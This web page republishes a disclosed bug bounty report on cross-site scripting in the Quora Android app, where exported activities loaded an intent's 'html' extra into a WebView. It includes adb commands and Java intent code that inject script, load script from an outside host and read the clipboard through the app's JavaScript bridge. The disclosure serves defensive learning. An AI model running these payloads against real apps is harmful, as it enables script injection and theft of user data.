Skip to content
XSS Disclosed report Intermediate

[Android] XSS via start ContentActivity

The Quora Android app exported several activities that accept an 'html' intent extra and load it into a WebView, so any app on the device could inject script that runs in the context of www.quora.com. An attacker could run script in the Quora origin, reach the app's JavaScript bridge (for example to read the clipboard), and on very old Android versions possibly achieve remote code execution.

bobrov Follow

Originally disclosed on HackerOne

  • Triaged in 29 days
  • Fixed in 3 months
  • Paid in 29 days
  • Disclosed after 4 months

Summary: XSS via start ContentActivity using 'html' parameter.

Description (Include Impact): Arbitrary applications on Android can run the exported activities ContentActivity, ModalContentActivity and ActionBarContentActivity. Using intent extra parameter html we can pass javascript, which will be executed in the context of www.quora.com.

Impact:

  • typical XSS on www.quora.com
  • access to QuoraAndroid JSBridge (for example, ClipboardData )
  • RCE on old Android <= 4.2 (see references)

Steps To Reproduce

Using ADB alert(123)

adb shell
am start -n com.quora.android/com.quora.android.ActionBarContentActivity -e url 'http://test/test' -e html 'XSS<script>alert(123)</script>'

Run script from external host

am start -n com.quora.android/com.quora.android.ActionBarContentActivity -e url 'http://test/test' -e html '<script src=//blackfan.ru></script>'
am start -n com.quora.android/com.quora.android.ContentActivity -e url 'http://test/test' -e html '<script src=//blackfan.ru></script>'
am start -n com.quora.android/com.quora.android.ModalContentActivity -e url 'http://test/test' -e html '<script src=//blackfan.ru></script>'

Access to ClipboardData

am start -n com.quora.android/com.quora.android.ModalContentActivity -e url 'http://test/test' -e html '<script>alert(QuoraAndroid.getClipboardData());</script>'

Using another app

Intent i = new Intent();
i.setComponent(new ComponentName("com.quora.android","com.quora.android.ActionBarContentActivity"));
i.putExtra("url","http://test/test");
i.putExtra("html","XSS PoC <script>alert(123)</script>");
startActivity(i);

Your Environment (Browser version, Device, app version, os version etc)

  • Nexus 5, Android 6.0.1

Supporting Material/References (Screenshots)

XSS

Screenshot_20161209-150324.png
Screenshot_20161209-150324.png From the original on HackerOne

Access to ClipboardData

Screenshot_20161209-145102.png
Screenshot_20161209-145102.png From the original on HackerOne

The original report as published on HackerOne, by bobrov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the exported content activities passed an attacker-controlled 'html' intent extra straight into a WebView without validation, and the WebView was bound to the quora.com origin with a JavaScript bridge attached.

Impact

An attacker could run script in the Quora origin, use the app's JavaScript bridge (for example to read clipboard data), and on Android 4.2 and older possibly achieve remote code execution.

What the attacker needed

Malicious app installed on the device; or adb access to the device

How it was found

  1. From a shell on the device, start one of the exported Quora activities with an intent.
  2. Supply a url extra and an html extra containing script.
  3. Observe the script executing in the quora.com context.
  4. Alternatively, build an intent from another app targeting the exported activity and start it.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Android apps can expose screens (activities) so other apps can open them. Here those screens took a chunk of HTML from the calling app and displayed it in a web view tied to Quora's website, so the caller's script ran as if it were Quora's own page. That lets a malicious app act as Quora inside the app and use the app's built-in bridge to reach device features.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bobrov

View all

39 more disclosed reports, best first.

More from Quora

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.